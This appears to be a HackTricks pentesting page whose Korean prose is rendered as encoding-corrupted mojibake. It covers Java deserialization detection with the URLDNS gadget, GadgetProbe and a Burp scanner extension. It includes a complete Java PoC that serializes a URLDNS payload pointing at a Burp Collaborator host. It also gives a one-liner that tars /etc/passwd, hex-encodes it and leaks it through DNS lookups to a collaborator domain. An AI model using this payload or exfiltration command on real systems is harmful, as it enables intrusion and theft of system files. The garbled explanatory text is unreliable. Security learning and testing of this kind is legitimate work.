Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
DNS μμ² λ° μμ§λ ¬ν
ν΄λμ€ java.net.URLλ Serializableμ ꡬνν©λλ€. μ΄λ μ΄ ν΄λμ€κ° μ§λ ¬νλ μ μμμ μλ―Έν©λλ€.
public final class URL implements java.io.Serializable {
μ΄ ν΄λμ€λ νΈκΈ°μ¬ λ§μ λμμ κ°μ§κ³ μμ΅λλ€. λ¬Έμμμ: βλ νΈμ€νΈλ λ νΈμ€νΈ μ΄λ¦μ΄ λμΌν IP μ£Όμλ‘ νμΈλ μ μλ κ²½μ° λλ±ν κ²μΌλ‘ κ°μ£Όλ©λλ€.β
λ°λΌμ, URL κ°μ²΄κ° equals λλ **hashCode**μ μ΄λ€ ν¨μλ₯Ό νΈμΆν λλ§λ€ IP μ£Όμλ₯Ό μ»κΈ° μν DNS μμ²μ΄ μ μ‘λ©λλ€.
URL κ°μ²΄μμ hashCode ν¨μλ₯Ό νΈμΆνλ κ²μ μλΉν μ½μ΅λλ€. μ΄ κ°μ²΄λ₯Ό μμ§λ ¬νλ HashMapμ μ½μ
νκΈ°λ§ νλ©΄ λ©λλ€. μ΄λ HashMapμ readObject ν¨μμ λμμ μ΄ μ½λκ° μ€νλκΈ° λλ¬Έμ
λλ€:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
λͺ¨λ κ°μ λν΄ HashMap λ΄λΆμ putValμ μ€νν κ²μ
λλ€. κ·Έλ¬λ λ μ€μν κ²μ λͺ¨λ κ°μ λν΄ hashλ₯Ό νΈμΆνλ κ²μ
λλ€. μ΄κ²μ hash ν¨μμ μ½λμ
λλ€:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
κ΄μ°°ν μ μλ―μ΄, μμ§λ ¬νν λ **HashMap**μ ν¨μ hashλ λͺ¨λ κ°μ²΄μ λν΄ μ€νλ©λλ€ κ·Έλ¦¬κ³ hash μ€ν μ€μ κ°μ²΄μ .hashCode()κ° μ€νλ©λλ€. λ°λΌμ URL κ°μ²΄λ₯Ό ν¬ν¨νλ **HashMap**μ μμ§λ ¬ννλ©΄, URL κ°μ²΄λ .hashCode()λ₯Ό μ€νν©λλ€.
μ΄μ URLObject.hashCode()μ μ½λλ₯Ό μ΄ν΄λ³΄κ² μ΅λλ€:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
보μλ€μνΌ, URLObjectκ° .hashCode()λ₯Ό μ€νν λ hashCode(this)κ° νΈμΆλ©λλ€. μ΄ ν¨μμ μ½λλ₯Ό κ³μν΄μ λ³Ό μ μμ΅λλ€:
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
getHostAddressκ° λλ©μΈμ λν΄ μ€νλμ΄ DNS μΏΌλ¦¬κ° μμλλ κ²μ λ³Ό μ μμ΅λλ€.
λ°λΌμ μ΄ ν΄λμ€λ μμ§λ ¬νκ° κ°λ₯νλ€λ κ²μ μ¦λͺ νκΈ° μν΄ DNS 쿼리λ₯Ό μμνκ±°λ, μ¬μ§μ΄ μ 보λ₯Ό μ μΆνκΈ° μν΄ μ μ©λ μ μμ΅λλ€(λͺ λ Ή μ€νμ μΆλ ₯μ μλΈλλ©μΈμΌλ‘ μΆκ°ν μ μμ΅λλ€).
URLDNS νμ΄λ‘λ μ½λ μμ
μ¬κΈ°μμ ysoserialμ URDNS νμ΄λ‘λ μ½λλ₯Ό μ°Ύμ μ μμ΅λλ€. κ·Έλ¬λ μ½λ©μ μ΄ν΄νκΈ° μ½κ² νκΈ° μν΄ ysoserialμ κ²μ κΈ°λ°μΌλ‘ λλ§μ PoCλ₯Ό λ§λ€μμ΅λλ€:
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
μΆκ° μ 보
- https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
- μλ μμ΄λμ΄μμ commons collections νμ΄λ‘λλ DNS 쿼리λ₯Ό μννλλ‘ λ³κ²½λμμΌλ©°, μ΄λ μ μλ λ°©λ²λ³΄λ€ μ λ’°μ±μ΄ λ¨μ΄μ‘μ§λ§, μ΄ κ²μλ¬Όμ΄ μμ΅λλ€: https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/
GadgetProbe
GadgetProbeλ₯Ό Burp Suite App Store (Extender)μμ λ€μ΄λ‘λν μ μμ΅λλ€.
GadgetProbeλ μλ²μ Java ν΄λμ€μ μΌλΆ Java ν΄λμ€κ° μ‘΄μ¬νλμ§ νμΈνμ¬ μ·¨μ½νμ§ μ μ μλλ‘ ν©λλ€.
μλ λ°©μ
GadgetProbeλ μ΄μ μΉμ μ DNS νμ΄λ‘λλ₯Ό μ¬μ©νμ§λ§ DNS 쿼리λ₯Ό μ€ννκΈ° μ μ μμμ ν΄λμ€λ₯Ό μμ§λ ¬ννλ €κ³ μλν©λλ€. μμμ ν΄λμ€κ° μ‘΄μ¬νλ©΄, DNS μΏΌλ¦¬κ° μ μ‘λκ³ GadgetProbeλ μ΄ ν΄λμ€κ° μ‘΄μ¬ν¨μ κΈ°λ‘ν©λλ€. DNS μμ²μ΄ κ²°μ½ μ μ‘λμ§ μμΌλ©΄, μ΄λ μμμ ν΄λμ€κ° μ±κ³΅μ μΌλ‘ μμ§λ ¬νλμ§ μμμμ μλ―Ένλ―λ‘, ν΄λμ€κ° μ‘΄μ¬νμ§ μκ±°λ μ§λ ¬νν μ μκ±°λ/μ μ©ν μ μμμ λνλ λλ€.
GitHub λ΄μμ, GadgetProbeμλ ν μ€νΈν Java ν΄λμ€κ° ν¬ν¨λ λ¨μ΄ λͺ©λ‘μ΄ μμ΅λλ€.
 (1).gif)
μΆκ° μ 보
Java μμ§λ ¬ν μ€μΊλ
μ΄ μ€μΊλλ Burp App Store (Extender)μμ λ€μ΄λ‘λν μ μμ΅λλ€.
νμ₯μ μλ λ° λ₯λ κΈ°λ₯μ κ°μ§κ³ μμ΅λλ€.
μλ
κΈ°λ³Έμ μΌλ‘ λͺ¨λ μμ²κ³Ό μλ΅μ μλμΌλ‘ νμΈνμ¬ Java μ§λ ¬ν λ§λ² λ°μ΄νΈλ₯Ό μ°Ύκ³ , λ°κ²¬λ κ²½μ° μ·¨μ½μ± κ²½κ³ λ₯Ό νμν©λλ€:
.png)
λ₯λ
μλ ν μ€νΈ
μμ²μ μ ννκ³ λ§μ°μ€ μ€λ₯Έμͺ½ λ²νΌμ ν΄λ¦ν ν Send request to DS - Manual Testingμ μ νν μ μμ΅λλ€.
κ·Έλ° λ€μ, Deserialization Scanner Tab β> _Manual testing tab_μμ μ½μ
μ§μ μ μ ννκ³ ν
μ€νΈλ₯Ό μμν©λλ€ (μ¬μ©λ μΈμ½λ©μ λ°λΌ μ μ ν 곡격μ μ ν).

μ΄κ²μ΄ βμλ ν μ€νΈβλΌκ³ λΆλ¦¬μ§λ§, μλΉν μλνλμ΄ μμ΅λλ€. μμ§λ ¬νκ° μ΄λ€ ysoserial νμ΄λ‘λμ μ·¨μ½νμ§ μλμΌλ‘ νμΈνκ³ , μΉ μλ²μ μ‘΄μ¬νλ λΌμ΄λΈλ¬λ¦¬λ₯Ό κ²μ¬νμ¬ μ·¨μ½ν λΌμ΄λΈλ¬λ¦¬λ₯Ό κ°μ‘° νμν©λλ€. μ·¨μ½ν λΌμ΄λΈλ¬λ¦¬λ₯Ό νμΈνκΈ° μν΄ Javas Sleeps, CPU μλΉλ₯Ό ν΅ν μ¬λ¦½, λλ μ΄μ μ μΈκΈλ DNSλ₯Ό μ¬μ©ν μ μμ΅λλ€.
μ μ©
μ·¨μ½ν λΌμ΄λΈλ¬λ¦¬λ₯Ό μλ³ν ν, μμ²μ _Exploiting Tab_μΌλ‘ λ³΄λΌ μ μμ΅λλ€.
μ΄ νμμ μ£Όμ
μ§μ μ λ€μ μ ννκ³ , νμ΄λ‘λλ₯Ό μμ±ν μ·¨μ½ν λΌμ΄λΈλ¬λ¦¬μ λͺ
λ Ήμ΄λ₯Ό μμ±ν΄μΌ ν©λλ€. κ·Έλ° λ€μ, μ μ ν 곡격 λ²νΌμ λλ¦
λλ€.

Java μμ§λ ¬ν DNS μ μΆ μ 보
νμ΄λ‘λκ° λ€μκ³Ό κ°μ μμ μ μννλλ‘ λ§λμΈμ:
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
μΆκ° μ 보
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


